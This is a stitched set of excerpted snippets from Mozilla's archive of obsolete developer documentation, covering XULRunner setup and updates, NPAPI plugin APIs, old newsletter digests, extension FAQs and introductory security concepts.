...by name, in any order. loadtabs( uris, loadinbackground, replace ) loadtabs( uris, params ) return type: no return value loads a set of uris, specified by the array uris, into tabs. if loadinbackground is true, the tabs are loaded in the background, and if replace is true, the currently displayed tabs are replaced with the specified uris instead of adding new tabs. the properties of params are following: boolean inbackground boolean replace boolean allowthirdpartyfixup tab targettab number newindex object postdatas number usercontextid note: this is the xul method on <browser> / <tabbrowser>, not the global function in chrome://browser/content/browser.js. please check which one you're documenting! (this one has no post data parameter, see loaduriwithflags for a ...
treecol - Archive of obsolete content
if targeting firefox for mac os x, be sure to use these styles but include your own checkbox image. however, chrome://global/skin/checkbox/cbox-check.gif is available in seamonkey on mac os x.. treechildren::-moz-tree-...
...rue"/> <treecell label="alice"/> </treerow> </treeitem> <treeitem> <treerow> <treecell value="false"/> <treecell label="bob"/> </treerow> </treeitem> </treechildren> </tree> to make the checkbox visible on some platforms, the following styles need to be added to the stylesheet (see treecol.type). on firefox 2.x and 3.x, all operating systems other than mac os x already use these styles by default. if targeting firefox for mac os x, be sure to use these styles but include your own checkbox image. however, chrome://global/skin/checkbox/cbox-check.gif is available in seamonkey on mac os x.. treechildren::-moz-tree-checkbox { /* unchecked checkbox treecells. this style must come before treechildren::-moz-tree-checkbox(checked) otherwi...
Application Update - Archive of obsolete content
f mar are available in the gecko sdk under the folder /host/bin for your os. in order to generate sha1 hashes i installed shash. application settings you will need to configure the following settings in your application: branding the update process uses branding information, setup branding for your application as described here: xulrunner tips icons the updater process for linux systems requires updater.png to be in your <application folder>/icons/, see https://bugzilla.mozilla.org/show_bug.cgi?id=706846 preferences // whether or not app updates are enabled pref("app.update.enabled", true); // this preference turns on app.update.mode and allows automatic download and // install to take place. we use a separate boolean toggle for this to make // the ui easier to construct. pre...
... is found that correctly describes an update your application, or rather xulrunner, will download the update, verify it with the hash and filesize and install. it will then prompt the user to restart the application. resources http://wiki.mozilla.org/software_update http://wiki.mozilla.org/updategeneration http://developer.mozilla.org/en/docs/setting_up_an_update_server http://chatzilla.rdmsoft.com/xulrunner/update/ http://developer.mozilla.org/en/docs/xulrunner_tips ...
Getting started with XULRunner - Archive of obsolete content
stall xulrunner on windows, unzip the archive someplace reasonable. i unzipped it to a new c:\program files\xulrunner folder. on the mac, extract the tar.bz2 archive, which contains xulrunner as xul.framework. copy this to the /library/frameworks directory, or another location of your choice. on linux, you only need to unpack the archive if you are using a pre-release xulrunner. in all systems you should unzip the omni.ja file into some example directory and take a look at all the awesome! first change the file extension to zip and then use your normal filesystem's decompression tool to open it up. the contents of omni.ja are available to xulrunner applications and are what make it possible to build amazing applications easily! step 3: create the application folder structure time to...
... step 8: run the application the moment of truth. we need to get xulrunner to launch the bare-bones application. windows from a windows command prompt opened to the myapp folder, we should be able to execute this: c:\path\to\xulrunner.exe application.ini of course, if you opted to install xulrunner then you could simply do ​%programfiles%\xulrunner.exe application.ini or on 64 bit systems ​%programfiles(x86)%\xulrunner.exe application.ini note: you can also install your application when you're finished debugging it. see xul application packaging for details. mac on the mac, before you can run a xulrunner application with everything intact, you must install it using the --install-app xulrunner commandline flag. installing the application creates an os x application bundle: ...
XULRunner Hall of Fame - Archive of obsolete content
are. source chatzilla a standalone version of the chatzilla irc client. conkeror a highly programmable web browser with a leopard-oriented design inspired by emacs. source evergreen - staff client evergreen is an open source library system. source ieditweb a client/server based content manager and internet application suite. ieditweb users can add pages, images, forms, ecommerce many special effects and much more using the xulrunner based client. it will comunicate dyamically with the ieditweb server to maintain a fully configured web site with embedded web applications. it also contains a built in email marketing system that is tightly integrated with the associated web site. one example of this tight integration is that the form in a web site can collect pay...
...in a web site can collect payment and set up a login for a members only section. a newsletter can be sent to members who sign up on a regular bases. instantbird multi-protocol im client. build instructions komodo edit a multi-language code development tool. build instructions pencil the pencil project's unique mission is to build a free and opensource tool for making diagrams and gui prototyping that everyone can use. source qiqqa research manager, reference manager, and pdf manager. xulrunner is embedded to provide automatic search against journal archives, automatic acquisition of bibtex information, and automatic downloading of pdfs. slimerjs slimerjs is a xulrunner application that can be launched with firefox, allowing to execute an external java...
How to enable locale switching in a XULRunner application - Archive of obsolete content
e locales the available package locales are declared in the chrome manifest. ...
...s into the xul code using fixed list items, or could take the elegant approach and construct the list dynamically. the dynamic list population requires an xpcom to query the currently selected locale as well as all locales available in the application package. ...
XULRunner tips - Archive of obsolete content
xulrunner frequently asked questions. work in progress. contains tons of non-working code (bit rot). extension manager to be able to install any extensions, you first need to enable the extension manager in application.ini. xulrunner 1.8.0 does not load extensions from the application directory; only the xulrunner directory and the user profile directory are checked. however, it seems that with xulrunner 1.9 the xulrunner directory is ignored, while the profile and application directories are checked. the following prefs must also be set to make the xpinstall dialog, extension manager, and theme manager work: pref("xpinstall.dialog.confirm", "chrome://mozapps/content/xpinstall/xpinstallconfirm.xul"); pref("xpinstall.dialog.progress.skin", "chrome://mozapps/content/extensions/exten...
...p them in source control to be sure i can maintain compatibility) component viewer need custom build, first of all. what else? extension developer's extension extension developer's extension is a useful tool, featuring live xul editor and javascript shell. to install the extension into your application you'll need to hack its install.rdf (see above). you'll probably also want to create menuitems that let you open the js shell and other tools provided by the extension. branding branding is a chrome package containing product-specific information (e.g. the product name, vendor, and logo). some xulrunner components (in particular, the extension manager) depend on branding, in the sense that they expect to find certain strings in chrome://branding/locale/brand.dtd and chrome://branding/lo...
What XULRunner Provides - Archive of obsolete content
see the wikimo:xul:installation story. extension manager file picker (uses native os filepicker as appropriate) find toolbar helper app dialog/ui security ui (maintenance of ssl keychains, etc) embedding apis the following embedding apis are provided by xulrunner: cross-platform embedding...
...re support for profile roaming (with application-specific extensibility) pyxpcom embedding (not yet complete) - but it does work, if you compile a custom build that includes the pyxpcom bindings and there is a working python available. activestate uses pyxpcom in their products. what's out xulrunner will not supply: bookmarks or history ui (must be managed by the application/embedder) xforms (xforms will be available as an extension) ...
XULRunner - Archive of obsolete content
xulrunner also provides libxul, a solution which allows the embedding of mozilla technologies in other projects and products. releases until version 41, xulrunner could be downloaded from ftp.mozilla.org. ...
...ications based on xulrunner. build documentation learn how to get the source and build it. debug documentation steps to configure venkman to debug your app xulrunner guide a fairly complete, but outdated, introduction and tutorial for xulrunner which collates much of the documentation found here. view all... community view mozilla forums... mailing list newsgroup rss feed #xulrunner on irc.mozilla.org other community links... related topics xul see also a brief introduction to xulrunner ...
application/http-index-format specification - Archive of obsolete content
defines the field names for the 201 file index code. a valid 200 line consists of one or more white space separated tokens that describe the name or purpose of the associated column of data. tokens may not contain spaces. any illegal characters must be escaped via the url escaping syntax defined by rfc 1738. note that multiple 200 lines override previous 200 lines. 201 data whose definition stems from a prior 200 line. a valid 201 line consists of one or more white space separated tokens that represent data described by a previous 200 line. tokens may be quoted or unquoted. unquoted tokens may not contain white space. quoted tokens are terminated by the next quote but may not contain carrage returns or new lines. any illegal characters must be escaped via the url escaping syntax defined b...
...der, read, write, or execute permissions. a '-' indicates that the particular permission is not set. example "rw-" means read and write permission, but not execute. example 100: this is a comment! do not present to the end-user 100: 101: the files in this directory are put forth for public 101: consumption and the provider make no guarentee as 101: as to the functionality of the data or programs 101: presented. 100: 300: ftp://test.netscape.com/u/montulli 100: 200: filename content-length content-type file-type last-modified 201: foo.txt 512 text/plain file tue,%2015%20nov%201994%2008:12:31%20gmt 201: bar.html 9683 text/html file tue,%2025%20oct%201994%2008:12:31%20gmt 201: foobar 0 application/http-index-format directory tue,%2025%20oct%201994%2008:12:31%20gmt origin...
calICalendarView - Archive of obsolete content
ll of the calievents and calitodos that shoud be shown in the view. in the vast majority of cases, this is calicompositecalendar. notice that a calicalendarview does not contain any additem or refresh methods. therefore, it makes sense for an implementation of calicalendarview to add a caliobserver to the its displaycalendar in order to be notified of additions, modifications, and deletions of items it may be displaying. note that in most cases, this attribute will be set by the consumers of calicalendarview very early in an application/extension's loading process. controller the controller for a calicalendarview is an implementation of calicalendarviewcontroller and provides an integral link with the code in which a calicalendarview may be used. this link allows the calicalendarview to h...
...turns false if the dates being displayed represent a continuous list, and true if certain dates in between startdate and enddate may not be displayed. selecteditem returns a caliitembase corresponding to the currently active item in the view. other areas of the code may use this attribute for setting selection, editing purposes, or any other purpose. note: this will likely change to selecteditems and return an array of caliitembases in order to support selecting multiple items at once. selectedday the currently selected day in the display. other areas of the code will often use this as a basis for default values for new calievents and calitodos. methods showdate void showdate(in calidatetime adate); ensures that the passed in adate is visible in the view. the view is free to sh...
2006-11-24 - Archive of obsolete content
meetings none for this week ...
... issues with 2.0 features there's renewed discussion on why certain features were removed in the 2.0 release, and the addition of support for s/mime and not pgp/gpg encryption. additional links: bug 22687 and original newsgroup thread. thunderbird losing emails tb seems to be deleting mail folders when they reach 4gb in size. exact cause is unknown but may be related to multiprocessor platforms. meetings none for this week ...
2006-10-27 - Archive of obsolete content
re. he also mentioned that the tinderbox is just a virtual machine, so you can easily allocate more space to it as need, assuming the host has some available. firefox 2 wont build under solaris 10 x86 october 26: alex was trying to build firefox 2 source on a solaris 10 x86 machine but was not successful with the build. he has already built firefox 1.5.0.7 on the same machine with no problems. the following is his configuration script that he used to build firefox 2 on solaris. ./configure --prefix=/export/home/alex/thunderbird --enable-application=browser --disable-tests --disable-debug -disable-auto-deps --disable-freetype2 -enable-official-branding --enable-default-toolkit=gtk2 --enable-optimize=-xo5 --enable-static --disable-shared --enable-xft --enable-svg the build tools tha...
...sfw/lib -lxrender -lfreetype -lfontconfig october 27: alex replied to masaki posting, stating that he was going to use the work around that he provided and would provide feedback if it was successful or not. later that day alex able to successful complete his firefox 2 build by using masaki'swork around that he had posted. update-packaging october 27: atachi.hayash wanted to know if you use msys would update-packaging work. click here to view the errorthat he receives when trying to update-packaging. error building firefox-2.0rc3 october 27: chotu atwork is trying to build firefox-2.0rc3 on uclinux running on a mips processor. during his build he receives an error which he has tried to find a solution by using google, but has not been successful. announcements there are no annou...
2006-11-24 - Archive of obsolete content
ing the ming compiler on windowsxp. however he has been unsuccessful and a bunch of errors. to view the joe's error please check the posting. he is using make 3.80, working with the source tarball for xulrunner 1.8.4,running "make -f client.mk distclean" followed by "make -f client.mk build_all". joe is asking for help on a possible solution to fix his problem. building xpcom components with msvs 2005 november 21st: buffaloaf is having trouble getting a personal xpcom component to work under xulrunner when compiled with msvs 2005. luke is migrating all of his code to compile with vc8 and is having some problems. he is receiving the following error: error: uncaught exception: [exception... "component returned failure code: 0x80570016 (ns_error_xpc_gs_returned_failure) [nsijscid.gets...
...returned failure code: 0x80570016 (ns_error_xpc_gs_returned_failure) [nsijscid.getservice]" nsresult: "0x80570016 (ns_error_xpc_gs_returned_failure)" location: "js frame :: chrome://modzilla/content/js/pkg_zillacom.js :: <top_level> :: line 1202" data: no] he is running xulrunner v1.8.0.4. luke wants to know if compiling xulrunner with a static crt is better or worse than compiling with the mscvr80.dll dependency. firefox 1.5 build on windows with gtk2 november 23rd: vin is trying to build firefox 1.5.0.3 on windows xp. the build is working properly with the default toolkit, but when he tries to add ac_add_options --enable-default-toolkit=gtk2 to his .mozconfig file he gets an error. vin is asking for help on how to solve the error. announcements svg build dependency on cairo...
Extentsions FAQ - Archive of obsolete content
how to customizes toolbar button to coexist in a toolbar palette and status bar? option #3 install status buttons 1.0 <https://addons.mozilla.org/firefox/1272/> "lets you put toolbar buttons at either end of the status-bar. just drag them there from the toolbar customisation window, like you would when adding buttons to the toolbars." option #4 install toolbar control <http://webdesigns.ms11.net/chromeditp.html> asking for help with getting an extension to process windows messages. use wm_copydata how to creating an extension that can replace html code on a specific page that does not use greasemonkey? var newnode = document.createelement(" ... html content here ... "); var replaceme = document.getelementbyid("replaceme"); replaceme.parentnode.replacechild(newnode, replac...
.... could someone write an extension that zaps the google analytics cookie, the urchin cookie, switches gmail and google calender to https? customizegoogle extension already has support for switching gmail to https (and calendar possibly, too). does anyone know how write a bounce email extension? are you aware of the "mailredirect" extension? it allows bouncing to arbitrary addresses. it seems what you want is a one button access to that extension with a prefilled bounce address, right? could someone make an extension for thunderbird that preview upcomeing events and number of new messages? in our company i write this extension that connects to our groupware server (http). what server should souch extension work gainst? did you mean exchange? how to attach information using the...
JS-Engine FAQ - Archive of obsolete content
lternative would be to use built-in e4x. newly created threads in js from mozilla_1_8_branch causes to hang in windows patch from bug 351602 should fix the problem. after applying that patch, recompile js and define js_use_only_nspr_locks in the build. spidermonkey library loading mechanism? to write wrappers in pure javascript to interface with any c library on the system there are mechanisms such as xpcshell, wxjs, jsdb, jsni coding spidermonkey in c check out this tutorial how to compile tamarin on linux/x86 there is a patch that allows you to compile it. rhino what is the performance between rhino js and native java rhino js is significantly slower in run-time than native java. even when rhino is pre-compiled with high optimization, it still is no match for a compiled java p...
...tt>rhino 1.6 release 2 2005 09 19</tt>. how to compile javascript into java invoking compiler: java org.mozilla.javascript.tools.jsc.main [options] file1.js [file2.js...] this results in a class file. compiler options can be vied here. non-js-engine questions can i call functions in mozilla extensions from web page? no, accessing anything in the web page's script may lead to security problems. see xpcnativewrapper. ...
External resources for plugin creation - Archive of obsolete content
still a good idea to have an understanding of what is going on under the hood, regardless of the level of abstraction provided. framework: firebreath project home page project history description (from the project creators): firebreath is a cross-platform browser plugin framework written in c++. plugins created with firebreath work on all major browsers, including firefox 3.0 and later. platforms supported include windows, linux, and mac os x (intel). feature highlights include thread safety checks, unicode support (with std::wstring), activex support, built-in drawing model negotiation for mac, automatic type conversion (including javascript arrays and objects), advanced security features, and more. supported development environments are visual studio on windows, xcode on mac, and gcc o...
...ndows, linux, and mac os x (intel). feature highlights include thread safety checks, unicode support (with std::wstring), activex support, built-in drawing model negotiation for mac, automatic type conversion (including javascript arrays and objects), advanced security features, and more. supported development environments are visual studio on windows, xcode on mac, and gcc on linux. all platforms rely on cmake for easy cross-platform builds. project: nixysa project home page description (from the home page): nixysa is a framework written in python to automatically generate glue code for npapi plugins (plugins for browsers such as google chrome or firefox), letting you easily expose c++ classes to javascript from a simple idl representation. nixysa was originally conceived for the needs of...
NPAPI plugin developer guide - Archive of obsolete content
owless plug-ins the default plug-in using html to display plug-ins plug-in display modes using the object element for plug-in display nesting rules for html elements using the appropriate attributes using the embed element for plug-in display using custom embed attributes plug-in references plug-in development overview writing plug-ins registering plug-ins ms windows unix mac os x drawing a plug-in instance handling memory sending and receiving streams working with urls getting version and ui information displaying messages on the status line making plug-ins scriptable building plug-ins building, platforms, and compilers building carbonized plug-ins for mac os x type libraries installing plug-ins native insta...
...ting information windowed plug-ins mac os windows unix event handling for windowed plug-ins windowless plug-ins specifying that a plug-in is windowless invalidating the drawing area forcing a paint message making a plug-in opaque making a plug-in transparent creating pop-up menus and dialog boxes event handling for windowless plug-ins streams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls ...
NPN_GetValue - Archive of obsolete content
riable variable, void *value); parameters this function has the following parameters: instance pointer to the current plug-in instance. variable information the call gets. ...
...id *value); parameters this function has the following parameters: instance pointer to the current plug-in instance. variable information the call gets. ...
NPN_RequestRead - Archive of obsolete content
(either through a list of npbyterange objects in a single call to npn_requestread(), or multiple calls to npn_requestread()), the browser can write individual ranges in any order, and with any number of npp_writeready() and npp_write() calls. the plug-in must allocate npbyterange objects, which the browser copies if necessary. the plug-in can free these as soon as the call returns. seekable streams are created by calling npp_newstream() with np_seek as the stype mode. the plug-in can call npn_requestread() on streams that were not initially in np_seek mode as long as the stream is inherently seekable; npn_requestread() automatically changes the mode to np_seek. if the stream is not inherently seekable, the stream must have been put in np_seek mode initially (since the browser must cache ...
...he mode to np_seek. if the stream is not inherently seekable, the stream must have been put in np_seek mode initially (since the browser must cache all the stream data on disk in order to access it randomly). if npn_requestread() is called on a stream that is not inherently seekable and not initially in mode np_seek, it returns the error code nperr_stream_not_seekable. typically, the only streams that are inherently seekable are those from in-memory or on-disk data, or from http servers that support byte-range requests. see also npp_newstream() npp_writeready() npp_write() npstream ...
NPP_HandleEvent - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary delivers a platform-specific window event to the instance. for windowed plug-ins: currently used only on mac os. for windowless plug-ins: all platforms. syntax #include <npapi.h> int16 npp_handleevent(npp instance, void* event); parameters the function has the following parameters: instance pointer to the current plug-in instance. event platform-specific value representing the event handled by the function. values: ms windows: pointer to npevent structure mac os: pointer to a standard mac os eventrecord unix/x11: pointer to a standard xlib xevent for a list of possible events, see npevent. returns if the plug-in handles the event, the function should return true. if the plug-in ...
...t, the function returns false. description the browser calls npp_handleevent to tell the plug-in when events take place in the plug-in's window or drawable area. the plug-in either handles or ignores the event, depending on the value given in the event parameter of this function. for a list of event types the application is responsible for delivering to the plug-in, see the npevent structure. ms windows the browser gives each windowed plug-in its own native window, often a child window of the browser window, to draw into. the plug-in has complete control over drawing and event handling within that window. mac os the browser does not give a windowed plug-in a native window, because the mac os platform does not support child windows. instead, the windowed plug-in draws into the graphics...
The First Install Problem - Archive of obsolete content
problem is to encourage plugin vendors to leave dlls (and xpt files, if applicable) in a location that gecko can discover at runtime. this document presents a consistent way to do that. proposed solution on mac os x, the system's plugins folder will probably suffice as an install location in which browsers installed later can find their plugins. on linux, a per-profile installation of plugins seems unavoidable. this document presents windows solutions for plugin vendors. the solution suggests that plugin vendors ought to leave dlls on a windows desktop whether or not a netscape gecko browser is detected, and then write keys in the windows registry giving future netscape gecko browsers the path where the plugin resides and meta-information about how to load the plugin. this document suppleme...
...version=5.01] vendor=mycompany inc. the example registry key shows the suggested "key creation" at work for an example application called scobe scrubobat (which doesn't really exist!). future directions: using object tag with classid: incidental benefit embedders such as compuserve (who now embed gecko in lieu of ie as the default browser) can determine on their own the mechanisms to parse the win32 registry for plids. the bugzilla bug open on mozilla and netscape 6.x is bug 44973. if every major plugin vendor complies with the writing of plugin directory information into the registry along with a plid, we can then use the object tag to invoke plugins based on their "classid" (their respective plid, which is a uri, which works well with the w3c spec). for example, in our c...
XEmbed Extension for Mozilla Plugins - Archive of obsolete content
using since the netscape 3.x days. the use of the xt mainloop has been a problem for modern plugin development because very few modern applications that want to take advantage of the capabilities of newer toolkits use xt. also, when included with builds of mozilla that are based on gtk 1.2 or gtk 2.x, the xt code that hosts the plugins is at best hacky and has been the source for many minor problems including inconsistent focus behavior as well as occasional crashes. it's recommended that you have a look at the gecko plugin api reference since this document will include information that assumes that you are already familiar with the way that plugins are currently hosted as well as the apis. key differences all of the interfaces that you would normally expect to exist in the plugins will stil...
...(err != nperr_no_error || toolkit != npnvgtk2) return nperr_incompatible_version_error; [ the rest of initialization ] return err; } as you can see, if the browser says that it doesn't support xembed and doesn't use gtk2 as a toolkit we return an error. if you return with an error from your initialization function the plugin will not be used which avoids crashes and other problems. once you've verified that the browser has the compatibility you require, you can modify your npp_getvalue call like so: nperror npp_getvalue(void *future, nppvariable variable, void *value) { nperror err = nperr_no_error; switch (variable) { case nppvpluginneedsxembed: *((prbool *)value) = pr_true; break; default: err = nperr_generic_error; } retu...
Plugins - Archive of obsolete content
wsing; learn how to make your plugin respect the user's privacy wishes. multi-process plugin architecture how firefox loads plugins into a separate process. firefox 3.6.4 introduced out-of-process plugins which execute in a separate process so that a crashing plugin does not crash the browser. logging and debugging for multi-process plugins how to create a plugin log to aid in debugging problems with multi-process plugins. writing a plugin for mac os x learn how to write a plugin for mac os x; a template xcode project is provided. monitoring plugins use an observer service notification to monitor the amount of time spent executing calls in plugins. this can be useful when trying to determine if a plug-in is consuming too many resources. scripting plugins: macromedia flash...
...e conditions arising when a plugin or embeddable software installs itself on a system first, before any other gecko-based browser. plugins: samples and test cases npapi plugin samples and test cases. external resources for plugin creation external projects, frameworks, and blog posts that may be useful. xembed extension for mozilla plugins recent versions of mozilla on *nix-based systems include an extension for writing plugins that use xembed instead of using the old xt-based main loop that most plugins have been using since the netscape 3.x days. categories interwiki language links join the plugin development community choose your preferred method for joining the discussion: mailing list newsgroup rss feed ...
Digital Signatures - Archive of obsolete content
this section describes how public-key cryptography addresses the problem of tampering. tamper detection and related authentication techniques rely on a mathematical function called a one-way hash (also called a message digest). ...
...ically, but the parameters are chosen so that calculating the private key from the public key is either impossible or prohibitively expensive.the encrypted hash, along with other information, such as the hashing algorithm, is known as a digital signature. figure 1 shows a simplified view of the way a digital signature can be used to validate the integrity of signed data. figure 1 shows two items transferred to the recipient of some signed data: the original data and the digital signature, which is basically a one-way hash (of the original data) that has been encrypted with the signer's private key. to validate the integrity of the data, the receiving software first uses the signer's public key to decrypt the hash. it then uses the same hashing algorithm that generated the original hash t...
Threats - Archive of obsolete content
threats may involve intentional actors (e.g., attacker who wants to access information on a server) or unintentional actors (e.g., administrator who forgets to disable user accounts of a former employee.) threats can be local, such as a disgruntled employee, or remote, such as an attacker in another geographical area. ...
...eone could learn your credit card number, record a sensitive conversation, or intercept classified information. tampering. information in transit is changed or replaced and then sent on to the recipient. for example, someone could alter an order for goods or change a person's resume. impersonation. information passes to a person who poses as the intended recipient. impersonation can take two forms: spoofing. a person can pretend to be someone else. for example, a person can pretend to have the email address jdoe@example.net, or a computer can identify itself as a site called www.example.net when it is not. this type of impersonation is known as spoofing. misrepresentation. a person or organization can misrepresent itself. for example, suppose the site www.example.net pretends to b...
Vulnerabilities - Archive of obsolete content
a vulnerability is a weakness in a system that can be exploited to negatively impact confidentiality, integrity, and/or availability. there are many ways in which vulnerabilities can be categorized. this article uses three high-level vulnerability categories: software flaws, security configuration issues, and software feature misuse. these categories are described below. vulnerability categories a software flaw vulnerability is caused by an unintended error in the design or coding of software. ...
...nd web applications. according to the open web application security project, xss was the seventh most common web app vulnerability in 2017. the organization publishes a list of top web security vulnerabilities based on the data from various security organizations. the web security vulnerabilities are prioritized depending on exploitability, detectability and impact on software which can be any cms such as wordpress, joomla, magento, wocommerce and more. here are six of the most common website vulnerabilities you must protect yourself against. 1. sql injections 2. cross site scripting (xss) 3. broken authentication & session management 4. insecure direct object references - dom (document object model) 5. security misconfiguration 6. cross-site request forgery (csrf) ...
Security - Archive of obsolete content
relying on these obsolete security articles is highly discouraged. doing so may put your systems at risk. digital signaturesencryption and decryption address the problem of eavesdropping, one of the three internet security issues mentioned at the beginning of this document. but encryption and decryption, by themselves, do not address another problem: tampering.encryption and decryptionencryption is the process of transforming information so it is unintelligible to anyone but the intended recipient. decryption is the process of transforming encrypted information so that it is intelligible again.introduction to public-key cryptographypublic-key cryptography and related standards and techniques underlie the security features of many products such as signed and encrypted email, sin...
... available from "digital signatures." introduction to sslthis document introduces the secure sockets layer (ssl) protocol. ssl has been universally accepted on the world wide web for authenticated and encrypted communication between clients and servers.nspr release engineering guidethis paper is for engineers performing formal release for the netscape portable runtime (nspr) across all platforms.ssl and tlsthe secure sockets layer (ssl) and transport layer security (tls) protocols are universally accepted standards for authenticated and encrypted communication between clients and servers. both client and server authentication occur over ssl/tls. ...
Theme changes in Firefox 3 - Archive of obsolete content
ble lists both the changed xul file and the theme's corresponding css file that you might need to update. filename css file details changes to the default theme the table below lists changes made in the default theme for firefox 3; you can use this information as a starting point for figuring out the changes you need to make. all file list all platforms file description of change browser/themes/*/browser/browser.css the width of the drag and drop indicator is no longer calculated during the drag (tabbrowser.xml). instead a '-moz-margin-start' property must be added to .tab-drop-indicator-bar, with a value that is half of the width of the indicator image. also, the visibility of the indicator is now controlled by setting ...
...e image is smaller. may or may not affect other mac themes that use it. browser/themes/pinstripe/browser/browser.css .tabbrowser-tab[first-tab="true"] > .tab-image-left no longer has a margin-left. instead .tabs-left now displayed and given the same width as the former margin-left. it was already done this way in winstripe. changes in browser --- changes in global all platforms the yellow background for the location bar has been deprecated; instead, themes should style the new #identity-box element depending on its verifieddomain/verifiedidentity class. the go button is now located inside the location bar, so the image for it (chrome://browser/skin/go-arrow.png) needs to be smaller. the rule that's needed to show and hide the go button and other location bar icons is:...
Summary of Changes - Archive of obsolete content
this section outlines all of the element and practice updates described in this article. for a complete discussion of these items, see the sections in which they are described. proprietary or deprecated feature w3c feature or recommended replacement deprecated font html 4.01 span plus css1 color: ; font-family: ; font-size: ; deprecated center or align="center" css1 text-align: center; for in-line elements like text or image deprecated center or align="center" css1 margin-left: auto; margin-right: auto; for block-level elements deprecated bgcolor css1 background-color: ; non-standard embed html 4.01 object deprecated applet html 4.01 object non-standard marquee html 4.01 div plus scripti...
...div plus scripting non-standard bgsound html 4.01 object proprietary or deprecated feature w3c feature or recommended replacement ie5+ id_attribute_value document.all.id_attribute_value document.all[id_attribute_value] dom level 2: document.getelementbyid(id_attribute_value) ie5+ formname.inputname.value dom level 1: document.forms["formname"].inputname.value ie5+ inputname.value dom level 1: document.forms["formname"].inputname.value ie5+ formctrlname dom level 1: document.forms["formname"].formctrlname ie5+ document.forms(0) dom level 1: document.forms[0] ie elemref.innertext dom level 1 (core) interface we could introduce dom 3 core textconte...
Processing XML with E4X - Archive of obsolete content
first introduced in javascript 1.6, e4x introduces a native xml object to the javascript language, and adds syntax for embedding literal xml documents in javascript code. a full definition of e4x can be found in the ecma-357 specification. this chapter provides a practical overview of the language; it is not a complete reference. ...
...e number of contained elements: alert(languages.lang.length()); note that unlike javascript arrays length is a method, not a property, and must be called using length(). we can iterate through the matching elements like so: for (var i = 0; i < languages.lang.length(); i++) { alert(languages.lang[i].tostring()); } here we are using identical syntax to that used to access numbered items in an array. despite these similarities to regular arrays, xmllist does not support array methods such as foreach, and array generics such as array.foreach() are not compatible with xmllist objects. we can also use the for each...in statement introduced in javascript 1.6 as part of javascript's e4x support: for each (var lang in languages.lang) { alert(lang); } for each...in can also b...
background-size - Archive of obsolete content
znerd 04 august 2009 chrome, iron, icab4, omniweb etc. are based on webkit, like netscape 6-8, seamonkey, camino, flock, fennec, blackbird etc. are based on gecko. both layout engines are mentioned in the table. people should refer to the webkit and gecko version to get the info they need. ...
...dy>. user:jürgen jeka 2009-08-12 ok, probably my understanding of css inheritance isn't all it should be. i tried locating the part of the spec about <body>'s background extending to <html> but it didn't seem to be explicitly mentioned in the cascading and inheritance section and both the background-image and border-image say 'inherited: no'. ...
Fixing Incorrectly Sized List Item Markers - Archive of obsolete content
erve 7.0. the problem in affected browsers, list item markers will very often appear to be too big compared to the text in the list item itself. this is most obvious in ordered lists, where the number that precedes each list item may be obviously different than the content that follows it. in fact, the markers were set to be a uniform size that did not change to match the content of the list items, so in rare cases the marker might actually appear to be smaller. see bug 110360, which explains the problem and shows when the fix was applied. in addition, when a document is displayed in "quirks" mode in mozilla 0.9.4 and later, the markers of lists will not use the font size of the list item text, but will instead stay the same as the user's default font size. see bug 97351 for more details.
...and shows when the fix was applied. in addition, when a document is displayed in "quirks" mode in mozilla 0.9.4 and later, the markers of lists will not use the font size of the list item text, but will instead stay the same as the user's default font size. see bug 97351 for more details. the solution fortunately, there are mozilla-specific css-like rules that can be used to correct both problems. the following rule is derived from mozilla's html.css file: *|*:-moz-list-bullet, *|*:-moz-list-number {font-size: 1em;} this rule tells gecko-based browsers to use the computed value of font-size for the marker's parent, which is the list item itself. thus the font sizes of the marker and the content will be the same. since this rule is not valid css, it will prevent the validation of any st...
Using the Right Markup to Invoke Plugins - Archive of obsolete content
n from using the codebase attribute. if you don't specify a codebase attribute, and the plugin is not installed,the browser will display only the alternate innermost text. it won't attempt to retrieve a missing plugin using the netscape plugin finder service. this behavior is not incorrect according to the html 4.01 specification, but it obliges web authors to diligently specifyobtainment mechanisms. at a minimum, web authors will have to nest some alternate text inside their object elements telling users where to obtain the missing component. adding an additional layer of convenience in the form of automatic retrieval is the subject of a bug 180411 in the mozilla open source code. some plugins don't understand all the param elements that their documentation suggests should configure the...
...ation/x-shockwave-flash" data="animation.swf"..../>. the fact that the flash player doesn't understand this param is a macromedia flash player bug that is bug 180378. recommendation in order to overcome the shortcomings that you can't nest object elements in ie and that there isn't a way you can simply use one object element in a cross-browser way (with architecture specific obtainment mechanisms), the best course of action is to dynamically write object elements based on architecture. for example, on browsers that support activex, such as ie, create an object element with a classid attribute, and on browsers that support the netscape plugin architecture, use a mime type. here is an example of some javascript which does this: if (window.activexobject) { // browser supports activex // cr...
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
changed, we shouldn't advocate embed <embed type="application/plugin-mimetype"> <script language="javascript"> var embed = document.embeds[0]; embed.nativemethod(); </script> how to build and install having the built mozilla tree is probably not necessary, but building the plugin with a scriptable instance interface will require mozilla headers and the xpcom compatible idl compiler -- xpidl.exe. ms devstudio midl must not be used. (let's assume 'testplugin' as a plugin name-place holder.) compile nsitestplugin.idl with the idl compiler. this will generate nsitestplugin.h and nsitestplugin.xpt files. put nsitestplugin.xpt to the components folder. build nptestplugin.dll with nsitestplugin.h included for compiling scriptable instance class implementaion. put nptestplugin.dll to the plugins f...
...ce class #include "nsitestplugin.h" #include "nsiclassinfo.h" // we must implement nsiclassinfo because it signals the // mozilla security manager to allow calls from javascript. // helper class to implement all necessary nsiclassinfo method stubs // and to set flags used by the security system class nsclassinfomixin : public nsiclassinfo { // these flags are used by the dom and security systems to signal that // javascript callers are allowed to call this object's scritable methods. ns_imethod getflags(pruint32 *aflags) {*aflags = nsiclassinfo::plugin_object | nsiclassinfo::dom_object; return ns_ok;} ns_imethod getimplementationlanguage(pruint32 *aimplementationlanguage) {*aimplementationlanguage = nsiprogramminglanguage::cplusplus; return ns_ok;} // the rest ...
XQuery - Archive of obsolete content
